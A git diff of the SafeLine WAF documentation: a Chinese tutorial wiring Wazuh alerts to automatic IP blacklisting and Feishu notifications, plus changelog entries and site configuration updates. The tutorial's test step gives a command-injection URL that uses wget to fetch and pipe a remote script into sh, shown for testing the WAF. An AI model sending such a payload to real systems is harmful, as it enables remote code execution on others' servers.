SCRIPT_PATH_NAME="$0"
|
||||
|
||||
DIR_NAME="$(cd $(dirname ${SCRIPT_PATH_NAME}); pwd -P)"
|
||||
SCRIPT_NAME="$(basename ${SCRIPT_PATH_NAME})"
|
||||
|
||||
case ${DIR_NAME} in
|
||||
*/active-response/bin | */wodles*)
|
||||
if [ -z "${WAZUH_PATH}" ]; then
|
||||
WAZUH_PATH="$(cd ${DIR_NAME}/../..; pwd)"
|
||||
fi
|
||||
|
||||
PYTHON_SCRIPT="${DIR_NAME}/${SCRIPT_NAME}.py"
|
||||
;;
|
||||
*/bin)
|
||||
if [ -z "${WAZUH_PATH}" ]; then
|
||||
WAZUH_PATH="$(cd ${DIR_NAME}/..; pwd)"
|
||||
fi
|
||||
|
||||
PYTHON_SCRIPT="${WAZUH_PATH}/framework/scripts/${SCRIPT_NAME}.py"
|
||||
;;
|
||||
*/integrations)
|
||||
if [ -z "${WAZUH_PATH}" ]; then
|
||||
WAZUH_PATH="$(cd ${DIR_NAME}/..; pwd)"
|
||||
fi
|
||||
|
||||
PYTHON_SCRIPT="${DIR_NAME}/${SCRIPT_NAME}.py"
|
||||
;;
|
||||
esac
|
||||
|
||||
${WAZUH_PATH}/${WPYTHON_BIN} ${PYTHON_SCRIPT} "$@"
|
||||
```
|
||||
|
||||
2. 这是封禁IP以及发飞书告警的python脚本custom-waf.py,我用的是centos自带的python 2.7.5,注释部分需更改为自己的信息
|
||||
|
||||
```shell
|
||||
mkdir /var/log/waf/block_ip.log
|
||||
chown wazuh:wazuh /var/log/waf/block_ip.log
|
||||
chmod 644 /var/log/waf/block_ip.log
|
||||
touch /var/ossec/integrations/custom-waf.py
|
||||
chmod 750 /var/ossec/integrations/custom-waf.py
|
||||
chown root:wazuh /var/ossec/integrations/custom-waf.py
|
||||
vim /var/ossec/integrations/custom-waf.py ,添加以下代码:
|
||||
```
|
||||
|
||||
```shell
|
||||
#!/usr/bin/env python
|
||||
import sys
|
||||
import json
|
||||
import ssl
|
||||
import requests
|
||||
import os
|
||||
import datetime
|
||||
import urllib3
|
||||
from urllib3.exceptions import InsecureRequestWarning
|
||||
urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
def read_alert_file():
|
||||
alert_file = open(sys.argv[1])
|
||||
alert_json = json.loads(alert_file.read())
|
||||
alert_file.close()
|
||||
timestamp = alert_json['predecoder']['timestamp']
|
||||
hostname = alert_json['predecoder']['hostname']
|
||||
description = alert_json['rule']['description']
|
||||
full_log = alert_json['full_log']
|
||||
src_city = alert_json['data']['src_city']
|
||||
src_ip = alert_json['data']['src_ip']
|
||||
dst_host = alert_json['data']['dst_host']
|
||||
dst_url = alert_json['data']['dst_url']
|
||||
print(src_ip)
|
||||
return timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url
|
||||
|
||||
def login(host,username,password):
|
||||
csrf_url = f"{host}/api/open/auth/csrf"
|
||||
response = requests.get(csrf_url, verify=False)
|
||||
data = response.json()
|
||||
csrf_token = data["data"]["csrf_token"]
|
||||
login_data = {
|
||||
'csrf_token': csrf_token,
|
||||
'username': username,
|
||||
'password': password,
|
||||
}
|
||||
login_url = f"{host}/api/open/auth/login"
|
||||
response = requests.post(login_url,json=login_data,verify=False)
|
||||
data = response.json()
|
||||
jwt = data["data"]["jwt"]
|
||||
return jwt
|
||||
|
||||
def get_info(host,jwt):
|
||||
url = f"{host}/api/open/ipgroup?top=1001"
|
||||
headers={
|
||||
"Content-Type": "application/json",
|
||||
"Authorization": f"Bearer {jwt}"
|
||||
}
|
||||
response = requests.get(url,headers=headers,verify=False)
|
||||
data = response.json()
|
||||
ip_group_id = data["data"]["nodes"][-1]["id"]
|
||||
ip_group_name = data["data"]["nodes"][-1]["comment"]
|
||||
ips = data["data"]["nodes"][-1]["ips"]
|
||||
ips_count = len(ips)
|
||||
url = f"{host}/api/open/rule"
|
||||
requests.get(url,headers=headers,verify=False)
|
||||
return ip_group_id,ip_group_name,ips,ips_count
|
||||
|
||||
def update_ip_group(host,jwt,ip_group_id,ip_group_name,ips,src_ip):
|
||||
url = f"{host}/api/open/ipgroup"
|
||||
ips.append(src_ip)
|
||||
headers={
|
||||
"Content-Type": "application/json",
|
||||
"Authorization": f"Bearer {jwt}"
|
||||
}
|
||||
body = {
|
||||
"id":ip_group_id,
|
||||
"reference":"",
|
||||
"comment":ip_group_name,
|
||||
"ips":ips
|
||||
}
|
||||
requests.put(url,json=body,headers=headers,verify=False)
|
||||
|
||||
def create_ip_group(host,jwt,ip_group_id,ip_group_name,src_ip):
|
||||
url = f"{host}/api/open/ipgroup"
|
||||
ip_group_id = ip_group_id +1
|
||||
ip_group_name = "black_ip_group_name-" + str(ip_group_id)
|
||||
src_ip = [src_ip]
|
||||
headers={
|
||||
"Content-Type": "application/json",
|
||||
"Authorization": f"Bearer {jwt}"
|
||||
}
|
||||
body = {
|
||||
"reference":"",
|
||||
"comment":ip_group_name,
|
||||
"ips":src_ip
|
||||
}
|
||||
requests.post(url,json=body,headers=headers,verify=False)
|
||||
return ip_group_id,ip_group_name
|
||||
|
||||
def create_rule(host,jwt,ip_group_id,ip_group_name):
|
||||
url = f"{host}/api/open/rule"
|
||||
headers={
|
||||
"Content-Type": "application/json",
|
||||
"Authorization": f"Bearer {jwt}"
|
||||
}
|
||||
body = {
|
||||
"action": 1,
|
||||
"comment": ip_group_name,
|
||||
"is_enabled": True,
|
||||
"pattern": [{
|
||||
"k": "src_ip",
|
||||
"op": "in",
|
||||
"v": str(ip_group_id),
|
||||
"sub_k": ""
|
||||
}]
|
||||
}
|
||||
requests.post(url,json=body,headers=headers,verify=False)
|
||||
|
||||
def feishu(webhook_url,timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url):
|
||||
headers={
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
msg_data = {
|
||||
"msg_type": "interactive",
|
||||
"card": {
|
||||
"header": {
|
||||
"title": {
|
||||
"tag": "plain_text",
|
||||
"content": description
|
||||
},
|
||||
"template": "red"
|
||||
},
|
||||
"elements": [
|
||||
{
|
||||
"tag": "div",
|
||||
"text": {
|
||||
"tag": "lark_md",
|
||||
"content": "**请注意:以下攻击源IP已加入黑名单。**" + "\n\n" + "**告警时间: **" + timestamp + "\n" + "**告警来源: **" + hostname + "\n" + "**攻击源地址: **" + src_city + "\n" + "**攻击源IP: **" + src_ip + "\n" + "**被攻击地址: **" + dst_host + "\n" + "**被攻击路径: **" + dst_url
|
||||
}
|
||||
},
|
||||
{
|
||||
"tag": "hr"
|
||||
},
|
||||
{
|
||||
"tag": "div",
|
||||
"text": {
|
||||
"tag": "lark_md",
|
||||
"content": "**原始syslog日志:**" + "\n" + full_log
|
||||
}
|
||||
},
|
||||
]
|
||||
}
|
||||
}
|
||||
requests.post(webhook_url,json=msg_data,headers=headers)
|
||||
|
||||
def print_log(log_file_path,src_ip):
|
||||
now = datetime.datetime.now()
|
||||
time_str = now.strftime('%b %d %H:%M:%S')
|
||||
log_template = "{time} prod-waf safe-line:{ip} has been blocked."
|
||||
message = log_template.format(time=time_str, ip=src_ip)
|
||||
log_file_path = log_file_path
|
||||
with open(log_file_path, 'a') as log_file:
|
||||
log_file.write(message + '\n')
|
||||
|
||||
def main(host,username,password,log_file_path,webhook_url):
|
||||
timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url = read_alert_file()
|
||||
jwt = login(host,username,password)
|
||||
ip_group_id,ip_group_name,ips,ips_count = get_info(host,jwt)
|
||||
if ips_count > 999:
|
||||
ip_group_id,ip_group_name = create_ip_group(host,jwt,ip_group_id,ip_group_name,src_ip)
|
||||
create_rule(host,jwt,ip_group_id,ip_group_name)
|
||||
else:
|
||||
update_ip_group(host,jwt,ip_group_id,ip_group_name,ips,src_ip)
|
||||
feishu(webhook_url,timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url)
|
||||
print_log(log_file_path,src_ip)
|
||||
|
||||
host = "https://192.168.1.1:9443" #替换成WAF地址
|
||||
log_file_path = "/var/log/waf/block_ip.log"
|
||||
webhook_url = "https://open.feishu.cn/open-apis/bot/v2/hook/c742cec0-94e9-449b-8473-597b873" #替换成飞书机器人地址
|
||||
username = "admin"
|
||||
password = "123456" #替换成WAF密码
|
||||
if __name__ == "__main__":
|
||||
main(host,username,password,log_file_path,webhook_url)
|
||||
sys.exit(0)
|
||||
```
|
||||
|
||||
3. 添加Wazuh Server解码器
|
||||
|
||||
```shell
|
||||
touch /var/ossec/etc/decoders/safeline-waf-decoders.xml
|
||||
chmod 660 /var/ossec/etc/decoders/safeline-waf-decoders.xml
|
||||
chown wazuh:wazuh /var/ossec/etc/decoders/safeline-waf-decoders.xml
|
||||
vim /var/ossec/etc/decoders/safeline-waf-decoders.xml,添加以下代码:
|
||||
```
|
||||
|
||||
```shell
|
||||
<decoder name="safeline-ce">
|
||||
<program_name>safeline-ce</program_name>
|
||||
<regex>src_city:(\.*), src_ip:(\.*), dst_host:(\.*), url:(\.*), rule_id:(\.*), log_id:(\d+)</regex>
|
||||
<order>src_city,src_ip,dst_host,dst_url,rule_id,log_id</order>
|
||||
</decoder>
|
||||
```
|
||||
|
||||
4. 添加Wazuh Server告警规则
|
||||
|
||||
```shell
|
||||
touch /var/ossec/etc/rules/safeline-waf-rules.xml
|
||||
chmod 660 /var/ossec/etc/rules/safeline-waf-rules.xml
|
||||
chown wazuh:wazuh /var/ossec/etc/rules/safeline-waf-rules.xml
|
||||
vim /var/ossec/etc/rules/safeline-waf-rules.xml,添加以下代码:
|
||||
```
|
||||
|
||||
```shell
|
||||
<group name="syslog,safeline,">
|
||||
<rule id="119101" level="7">
|
||||
<decoded_as>safeline-ce</decoded_as>
|
||||
<match>a.test.com</match>#a.test.com替换成在waf上配置保护的域名
|
||||
<description>入侵事件:a.test.com</description> #这里可以修改为自己喜欢的内容,这个信息最终会呈现到飞书消息卡片的标题上
|
||||
</rule>
|
||||
```
|
||||
|
||||
5. 修改Wazuh Server的ossec配置
|
||||
|
||||
```shell
|
||||
vim /var/ossec/etc/ossec.conf,添加以下代码:
|
||||
<integration>
|
||||
<name>custom-waf</name>
|
||||
<rule_id>119101</rule_id>
|
||||
<alert_format>json</alert_format>
|
||||
</integration>
|
||||
```
|
||||
|
||||
6. 重启Wazuh Server,使所有配置生效
|
||||
|
||||
```shell
|
||||
/var/ossec/bin/wazuh-control restart
|
||||
```
|
||||
|
||||
### Wazuh Agent配置
|
||||
|
||||
1. 登录雷池WAF服务器,配置ossec监听waf_alert.log日志文件
|
||||
|
||||
```shell
|
||||
vim /var/ossec/etc/ossec.conf ,添加以下配置
|
||||
|
||||
<localfile>
|
||||
<log_format>syslog</log_format>
|
||||
<location>/var/log/waf_alert/waf_alert.log</location>
|
||||
</localfile>
|
||||
```
|
||||
|
||||
最后如图
|
||||
|
||||

|
||||
|
||||
2. 重启Wazuh Agent,使ossec配置生效
|
||||
|
||||
```shell
|
||||
systemctl restart wazuh-agent
|
||||
```
|
||||
|
||||
## 大功告成,测试效果
|
||||
|
||||
对网站进行漏扫或者输入攻击测试语句,触发告警,查看拦截结果,例如
|
||||
|
||||
https://a.test.com/view.php?doc=11.jpg&format=swf&isSplit=true&page=||wget%20http://spotslfy.com/wget.sh%20-O-|sh
|
||||
|
||||
飞书告警卡片,群里的相关人员都可以看到非常清晰的消息卡片
|
||||
|
||||

|
||||
|
||||
雷池WAF IP黑名单,可以看到攻击源IP 47.1.1.1已经自动添加
|
||||
|
||||

|
||||
|
||||
当攻击者想再次尝试访问网站,已经被拦截
|
||||
|
||||

|
||||
|
||||
如果想统计一共封了多少个黑名单IP,可以直接查看日志
|
||||
|
||||
cat /var/log/waf/block_ip.log
|
||||
|
||||

|
||||
|
||||
## 发散思维
|
||||
|
||||
由于个人精力有限,关于飞书告警其实我还有2个想法没实现,有兴趣和开发能力的同学可以继续探索:
|
||||
|
||||
1. 为了避免误封IP,其实推送到飞书的卡片消息可以增加两个交互按钮:“确认封禁IP”,“忽略”,当点击“确认封禁IP”时才触发封禁IP,同时发送一条处置结果到群里做通知。
|
||||
|
||||
2. 告警信息推送到飞书群后,现在是无法做统计分析的。飞书多维表格有基础的excel能力以及强悍的自动化流程能力,经过精心的表格字段设计、自动化流程配置和API开发,可以作为低成本的安全数据中心和SOAR使用,例如定期推送安全周报到飞书安全工作群、定期汇总恶意IP清单并推送给安全设备等
|
||||
7
documents/docs/05-submission/_category_.json
Normal file
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"label": "社区投稿",
|
||||
"collapsed": true,
|
||||
"link": {
|
||||
"type": "generated-index"
|
||||
}
|
||||
}
|
||||
@@ -6,14 +6,214 @@ title: "版本更新记录"
|
||||
|
||||
[版本升级方法](/guide/upgrade)
|
||||
|
||||
### [5.3.0] - 2024-04-03
|
||||
### [6.2.0] - 2024-06-27
|
||||
|
||||
#### 新增
|
||||
* 专业版支持**钉钉告警**
|
||||
* 动态防护测试进展良好,取消防护数量限制。HTML 支持全局动态加密,专业版支持快速加解密。JS 支持防护任意数量资源,但性能消耗较大,请充分测试后再上线
|
||||
|
||||
#### 优化
|
||||
* 优化站点上游服务器的格式校验([#792](https://github.com/chaitin/SafeLine/issues/792#issuecomment-2031195236) 中涉及问题)
|
||||
* 修复了一些已知问题
|
||||
* 补充规则支持筛选规则 ID、规则名称
|
||||
* 雷池检查上游服务器状态时,UA 内会增加 “SafeLine-CE/版本号”,方便上游区分
|
||||
* 专业版 访问日志/错误日志 中,若配置过 “源 IP 获取方式”,则增加显示对应的请求头内容
|
||||
* 检查上游服务器状态时,由于 404 一般只是根路径不存在,网站仍然正常,本版本起 404 不再判断为异常了
|
||||
* 修复自定义规则名称保存后有时显示不正确的问题
|
||||
|
||||
### [6.1.3] - 2024-06-21
|
||||
### #修复
|
||||
* 修复部分站点详情部分数据空白的问题
|
||||
* 修复部分网页是要动态防护功能时样式错误的问题
|
||||
* 修复 tengine 偶尔出现 exchange secret error 的问题
|
||||
|
||||
### [6.1.2] - 2024-06-20
|
||||
|
||||
#### 优化
|
||||
* 动态防护社区版支持 5 个,专业版支持 50 个
|
||||
* 简化动态防护配置,移除 启用/禁用 操作,现在直接选防护资源即可。
|
||||
* 注意:历史版本禁用了动态防护,但同时选了若干资源的,升级后会移除这些资源的选择
|
||||
* 优化站点详情 UI 交互,现在可以在详情页编辑站点配置、一键防护配置了
|
||||
* 修复站点处于观察模式时,有时补充规则仍会被拦截的问题
|
||||
* 优化后台服务在重启的过程中,控制台的报错提示
|
||||
* 修复升级有可能出现 tengine 无法启动,以及安装完也可能无法保存站点,提示 “ca md too weak” 的问题
|
||||
* 优化其他 UI 交互细节,修复其他一些已知问题
|
||||
|
||||
### [6.1.1] - 2024-06-14
|
||||
|
||||
#### 修复
|
||||
* 修复实时日志显示问题
|
||||
|
||||
### [6.1.0] - 2024-06-14
|
||||
|
||||
#### 新增
|
||||
* 专业版站点详情新增访问日志、错误日志。且支持设置日志大小上限,达到上限后自动清理旧文件
|
||||
|
||||

|
||||
* 动态防护单站点允许防护的资源数增加到 2 个,专业版增加到 20 个
|
||||
|
||||
#### 优化
|
||||
* 人机验证通过后,若访问/攻击频率过高(达到 3 倍的 “限频后人机验证” 阈值),则要求重新进行人机验证
|
||||
* 修复导出日志 csv 中的 “动作” 和控制台页面不一致的问题
|
||||
* 修复动态防护有时仍额外返回源内容的问题
|
||||
* 修复部分补充规则配置了防护后也会被放行的问题
|
||||
* 修复编辑证书后,会自动新建证书而不是更新证书的问题
|
||||
* 修复上游服务器健康检查时,对正常的上游可能返回异常结果 tls internal error 的问题
|
||||
* 优化一些 UI 交互细节
|
||||
|
||||
### [6.0.3] - 2024-06-06
|
||||
|
||||
#### 优化
|
||||
* 修复动态防护在观察模式下仍然生效的问题
|
||||
* 修复响应码不为 200 的请求,也会采集进资源的问题
|
||||
* 修复自定义规则中,路径匹配条件未包括参数的问题
|
||||
* 修复使用动态防护时 23333 端口被占用的问题
|
||||
* 修复动态防护选择防护资源时的一些交互细节问题
|
||||
* 优化其他一些 UI 交互细节
|
||||
|
||||
|
||||
### [6.0.2] - 2024-06-03
|
||||
|
||||
#### 优化
|
||||
* 修复部分情况下 mgt 启动异常的问题
|
||||
* 修复站点身份认证功能编辑用户名密码不生效的问题
|
||||
* 修复站点资源只显示 250 条的问题(实际最多支持 500 条)
|
||||
* 优化站点列表加载速度
|
||||
|
||||
### [6.0.1] - 2024-05-31
|
||||
|
||||
#### 修复
|
||||
* 修复流式版本 tengine 启动异常的问题
|
||||
* 修复历史攻击事件无法查询明细日志的问题
|
||||
|
||||
### [6.0.0] - 2024-05-31
|
||||
|
||||
#### 新增
|
||||
* 站点高级防护新增动态防护(BETA),能自动动态加密网站的 html 和 js 源码,阻止爬虫和攻击自动化程序的分析(对应新增 safeline-chaos 容器)
|
||||
|
||||

|
||||
* 新增上游服务器健康检查,方便配置与管理
|
||||
|
||||

|
||||
* 攻击事件的聚合维度增加域名、端口,方便观察。即同一 IP 对不同域名、端口的攻击,现在会记录不同的攻击事件了
|
||||
|
||||

|
||||
|
||||
#### 优化
|
||||
* 攻击事件支持按域名、端口筛选
|
||||
* 新增 tengine 异常时,紧急恢复 tengine 的命令,详情见文档([紧急恢复 tengine](https://waf-ce.chaitin.cn/docs/faq/other#紧急恢复-tengine))
|
||||
* 修复开启 http2 时,配置站点可能出现 nginx: [warn] protocol options redefined 的问题
|
||||
* 修复黑白名单没有记录触发次数的问题
|
||||
* 站点域名提交时自动删去域名前后的空格,避免证书列表提示域名不匹配
|
||||
* 修复 SDK 旁路部署模式下黑白名单工作异常的问题
|
||||
* 优化一些 UI 交互细节
|
||||
|
||||
### [5.6.2] - 2024-05-23
|
||||
|
||||
#### 优化
|
||||
* 身份认证、控制台登录设置可以一键随机一个密码
|
||||
|
||||

|
||||
* 添加/编辑自定义规则时,如果未保存直接关闭弹窗,会增加一个确认提醒([#761](https://github.com/chaitin/SafeLine/issues/761)))
|
||||
|
||||

|
||||
* 修复申请免费证书时,域名中带空格或者输入多个域名时会申请失败的问题(报错 onflicting server name ... on 0.0.0.0:80 的问题)
|
||||
* 修复申请证书和添加站点的时候,域名中带空格会报错 “域名不匹配” 的问题([#596](https://github.com/chaitin/SafeLine/issues/596)))
|
||||
* 修复站点为观察模式时,也会拦截一些补充规则的问题
|
||||
* 修复某些情况下免费证书无法续期的问题
|
||||
* 优化一些 UI 交互细节
|
||||
|
||||
### [5.6.1] - 2024-05-17
|
||||
|
||||
#### 修复
|
||||
* 修复无法申请 acme 证书的问题
|
||||
|
||||
### [5.6.0] - 2024-05-16
|
||||
|
||||
#### 新增
|
||||
* 自定义规则的部分匹配内容支持输入多个值,多个值之间为 “或 (OR)” 关系
|
||||
|
||||

|
||||
* 专业版支持自定义人机验证的底部文字,替代雷池版权信息
|
||||
|
||||
#### 优化
|
||||
* 502、504 异常页面适配手机端
|
||||
* 编辑站点时,根据需要自动调大 xx_hash_bucket_size、xx_hash_max_size,避免这两种配置不足报错
|
||||
* 修复有时无法采集到站点资源的问题
|
||||
* 优化一些界面交互细节
|
||||
|
||||
### [5.5.2] - 2024-05-10
|
||||
|
||||
#### 修复
|
||||
* 修复 IP 组详情某些情况下与老版本不兼容的问题
|
||||
|
||||
### [5.5.1] - 2024-05-10
|
||||
|
||||
#### 修复
|
||||
* 修复自定义规则某些情况下不生效的问题
|
||||
|
||||
### [5.5.0] - 2024-05-09
|
||||
|
||||
#### 新增
|
||||
* 站点列表支持一键配置高级防护规则
|
||||
|
||||

|
||||
|
||||
#### 优化
|
||||
* 黑白名单、人机验证、身份认证 页面合并为 “自定义规则”,简化导航
|
||||
* 黑白名单、身份认证 规则增加 “触发次数” “通过次数” 统计
|
||||
|
||||

|
||||
* 注:同一种规则类型内,触发的优先级为 新添加的自定义规则 > 旧添加的自定义规则 > 站点列表上一键配置的高级防护规则
|
||||
* 站点资源统计逻辑优化
|
||||
* 修复有时候免费证书临期不会自动续期的问题
|
||||
* 修复匹配条件中 ipv6 地址展示不正确的问题([#830](https://github.com/chaitin/SafeLine/issues/830))
|
||||
* 优化一些 UI 交互细节
|
||||
|
||||
### [5.4.0] - 2024-04-25
|
||||
|
||||
#### 新增
|
||||
* 源 IP 获取方式增加 XFF
|
||||
|
||||

|
||||
* 专业版增加 系统设置->检测引擎性能配置,可以根据设备的配置等级选择不同的性能模式
|
||||
|
||||

|
||||
|
||||
#### 优化
|
||||
* 修复浏览器内核版本 < Chromium 93 时,点击智能 AI 分析页面会崩溃的问题
|
||||
* 修复少数情况下,限频没有正常封禁 IP 的问题
|
||||
* 优化 luigi 统计算法,解决 CPU 占用过高的问题
|
||||
* 优化一些 UI 交互细节
|
||||
|
||||
### [5.3.3] - 2024-04-18
|
||||
|
||||
#### 优化
|
||||
* 日志列表不返回 IP 组全部内容,降低访问耗时
|
||||
* 修复基础统计 -> 4xx 数量中,把人机验证拦截也计入了的问题
|
||||
* 修复高级统计 -> 来源域名、来源页面中,把内部跳转也计入了的问题
|
||||
* 修复上游有多个域名时,获取不到正确 title 和 icon 的问题([#821](https://github.com/chaitin/SafeLine/issues/821))
|
||||
* 修复筛选 UI 错位问题([#789](https://github.com/chaitin/SafeLine/issues/789))
|
||||
* 修复其他一些已知问题
|
||||
|
||||
### [5.3.2] - 2024-04-12
|
||||
|
||||
#### 修复
|
||||
* 修复了地理位置库识别错误的问题
|
||||
|
||||
#### 优化
|
||||
* 优化了一些 UI 交互细节
|
||||
|
||||
### [5.3.1] - 2024-04-11
|
||||
|
||||
#### 新增
|
||||
* 专业版支持*钉钉告警*
|
||||
* 专业版新增高级数据统计
|
||||
|
||||
#### 优化
|
||||
* 上线新版智能 AI 攻击分析,分析结果由长亭问津安全大模型提供,大幅度提升安全分析效果
|
||||
* 支持全种类的攻击分析,包含 注入、CSRF、SSRF、后门等
|
||||
* 标准化输出内容,例如 攻击影响、意图分析、防护建议等
|
||||

|
||||
* 优化站点上游服务器的格式校验([#792](https://github.com/chaitin/SafeLine/issues/792) 中涉及问题)
|
||||
* 修复了其他一些已知问题
|
||||
* 优化了一些 UI 交互细节
|
||||
|
||||
### [5.2.0] - 2024-03-28
|
||||
@@ -4,7 +4,7 @@ title: "雷池技术架构"
|
||||
|
||||
# 雷池技术架构
|
||||
|
||||
查看雷池的服务架构图。最上面虚线框住的是数据流,也就是访问业务服务器的流量数据的流动情况。中间框起来的部分是雷池的各个服务。
|
||||
查看雷池的服务架构图(示意图较老,参考为主)。最上面虚线框住的是数据流,也就是访问业务服务器的流量数据的流动情况。中间框起来的部分是雷池的各个服务。
|
||||
|
||||

|
||||
|
||||
@@ -12,11 +12,14 @@ title: "雷池技术架构"
|
||||
|
||||
| 名称 | 定义 | 详情 |
|
||||
| ----------------- | ------------ | ------------------------------------------------------- |
|
||||
| safeline-mgt | 管理容器 | 接收管理后台行为,向其他服务或容器推送消息 |
|
||||
| safeline-mgt | 管理容器(管理端) | 接收管理后台行为,向其他服务或容器推送消息 |
|
||||
| safeline-detector | 检测容器 | 执行检测的容器,从 Tengine 进入的流量会转发到该节点检测 |
|
||||
| safeline-mario | 日志容器 | 记录与统计恶意行为的节点 |
|
||||
| safeline-tengine | 网关 | 转发网关,有简单的过滤功能 |
|
||||
| safeline-tengine | 网关 | 转发网关,有简单的过滤功能,基于nginx实现 |
|
||||
| safeline-pg | 关系型数据库 | 存储攻击日志、保护站点、黑白名单配置的数据库 |
|
||||
| safeline-luigi | 数据统计服务 | 统计qps等信息 |
|
||||
| safeline-fvm | 规则处理容器 | 将规则传递到检测容器 |
|
||||
| safeline-bridge | 支持云托管 | 通讯的桥接器 |
|
||||
|
||||
对于后台管理人员,可以直接通信的节点为管理服务 `safeline-mgt`,该节点负责:
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"label": "关于雷池",
|
||||
"collapsed": false,
|
||||
"collapsed": true,
|
||||
"link": {
|
||||
"type": "generated-index"
|
||||
}
|
||||
@@ -75,6 +75,11 @@ const config = {
|
||||
({
|
||||
// Replace with your project's social card
|
||||
image: "images/safeline.svg",
|
||||
docs: {
|
||||
sidebar: {
|
||||
autoCollapseCategories: true,
|
||||
},
|
||||
},
|
||||
navbar: {
|
||||
title: "",
|
||||
logo: { alt: "Logo", src: "images/safeline.svg", href: "https://waf-ce.chaitin.cn" },
|
||||
|
||||
2662
documents/package-lock.json
generated
@@ -16,26 +16,26 @@
|
||||
"typecheck": "tsc"
|
||||
},
|
||||
"dependencies": {
|
||||
"@docusaurus/core": "3.0.0",
|
||||
"@docusaurus/preset-classic": "3.0.0",
|
||||
"@easyops-cn/docusaurus-search-local": "0.37.4",
|
||||
"@emotion/react": "11.11.1",
|
||||
"@emotion/styled": "11.11.0",
|
||||
"@mdx-js/react": "3.0.0",
|
||||
"@mui/icons-material": "5.14.3",
|
||||
"@mui/lab": "5.0.0-alpha.138",
|
||||
"@mui/material": "5.14.3",
|
||||
"clsx": "^1.2.1",
|
||||
"countup.js": "2.7.0",
|
||||
"prism-react-renderer": "2.1.0",
|
||||
"react": "18.2.0",
|
||||
"react-dom": "18.2.0",
|
||||
"@docusaurus/core": "3.3.2",
|
||||
"@docusaurus/preset-classic": "3.3.2",
|
||||
"@easyops-cn/docusaurus-search-local": "0.40.1",
|
||||
"@emotion/react": "11.11.4",
|
||||
"@emotion/styled": "11.11.5",
|
||||
"@mdx-js/react": "3.0.1",
|
||||
"@mui/icons-material": "5.15.16",
|
||||
"@mui/lab": "5.0.0-alpha.170",
|
||||
"@mui/material": "5.15.16",
|
||||
"clsx": "^2.1.1",
|
||||
"countup.js": "2.8.0",
|
||||
"prism-react-renderer": "2.3.1",
|
||||
"react": "18.3.1",
|
||||
"react-dom": "18.3.1",
|
||||
"react-responsive-carousel": "3.2.23"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@docusaurus/module-type-aliases": "3.0.0",
|
||||
"@tsconfig/docusaurus": "^1.0.5",
|
||||
"typescript": "5.2.2"
|
||||
"@docusaurus/module-type-aliases": "3.3.2",
|
||||
"@tsconfig/docusaurus": "^2.0.3",
|
||||
"typescript": "5.4.5"
|
||||
},
|
||||
"browserslist": {
|
||||
"production": [
|
||||
|
||||
@@ -15,7 +15,6 @@
|
||||
const sidebars = {
|
||||
// By default, Docusaurus generates a sidebar from the docs folder structure
|
||||
tutorialSidebar: [{type: 'autogenerated', dirName: '.'}],
|
||||
|
||||
// But you can create a sidebar manually
|
||||
/*
|
||||
tutorialSidebar: [
|
||||
|
||||
@@ -34,6 +34,9 @@ a:hover {
|
||||
aside.theme-doc-sidebar-container {
|
||||
width: 240px !important;
|
||||
}
|
||||
aside.theme-doc-sidebar-container>div>div {
|
||||
width: 240px !important;
|
||||
}
|
||||
|
||||
/* .navbar__toggle.clean-btn svg {
|
||||
color: white;
|
||||
|
||||
BIN
documents/static/images/docs/about_changelog/5.3.1-1.png
Normal file
|
After Width: | Height: | Size: 133 KiB |
BIN
documents/static/images/docs/about_changelog/5.4.0-1.png
Normal file
|
After Width: | Height: | Size: 35 KiB |
BIN
documents/static/images/docs/about_changelog/5.4.0-2.png
Normal file
|
After Width: | Height: | Size: 31 KiB |
BIN
documents/static/images/docs/about_changelog/5.5.0-1.png
Normal file
|
After Width: | Height: | Size: 41 KiB |
BIN
documents/static/images/docs/about_changelog/5.5.0-2.png
Normal file
|
After Width: | Height: | Size: 15 KiB |
BIN
documents/static/images/docs/about_changelog/5.6.0-1.png
Normal file
|
After Width: | Height: | Size: 113 KiB |
BIN
documents/static/images/docs/about_changelog/5.6.2-1.png
Normal file
|
After Width: | Height: | Size: 33 KiB |
BIN
documents/static/images/docs/about_changelog/5.6.2-2.png
Normal file
|
After Width: | Height: | Size: 88 KiB |
BIN
documents/static/images/docs/about_changelog/6.0.0-1.png
Normal file
|
After Width: | Height: | Size: 39 KiB |
BIN
documents/static/images/docs/about_changelog/6.0.0-2.png
Normal file
|
After Width: | Height: | Size: 93 KiB |
BIN
documents/static/images/docs/about_changelog/6.0.0-3.png
Normal file
|
After Width: | Height: | Size: 90 KiB |
BIN
documents/static/images/docs/about_changelog/6.1.0-1.png
Normal file
|
After Width: | Height: | Size: 308 KiB |
BIN
documents/static/images/docs/flow.png
Normal file
|
After Width: | Height: | Size: 278 KiB |
BIN
documents/static/images/docs/guide_config/config_site4.png
Normal file
|
After Width: | Height: | Size: 100 KiB |
|
Before Width: | Height: | Size: 80 KiB After Width: | Height: | Size: 64 KiB |
BIN
documents/static/images/docs/sdk_chat.png
Normal file
|
After Width: | Height: | Size: 67 KiB |
BIN
documents/static/images/docs/submission/k3s01.jpg
Normal file
|
After Width: | Height: | Size: 89 KiB |
BIN
documents/static/images/docs/submission/operate-1.png
Normal file
|
After Width: | Height: | Size: 2.0 MiB |
BIN
documents/static/images/docs/submission/operate-10.png
Normal file
|
After Width: | Height: | Size: 1.6 MiB |
BIN
documents/static/images/docs/submission/operate-11.png
Normal file
|
After Width: | Height: | Size: 2.3 MiB |
BIN
documents/static/images/docs/submission/operate-12.png
Normal file
|
After Width: | Height: | Size: 2.0 MiB |
BIN
documents/static/images/docs/submission/operate-13.png
Normal file
|
After Width: | Height: | Size: 1.8 MiB |
BIN
documents/static/images/docs/submission/operate-14.png
Normal file
|
After Width: | Height: | Size: 2.2 MiB |
BIN
documents/static/images/docs/submission/operate-15.png
Normal file
|
After Width: | Height: | Size: 1.9 MiB |
BIN
documents/static/images/docs/submission/operate-16.png
Normal file
|
After Width: | Height: | Size: 2.2 MiB |
BIN
documents/static/images/docs/submission/operate-17.png
Normal file
|
After Width: | Height: | Size: 2.3 MiB |
BIN
documents/static/images/docs/submission/operate-18.png
Normal file
|
After Width: | Height: | Size: 2.2 MiB |
BIN
documents/static/images/docs/submission/operate-19.png
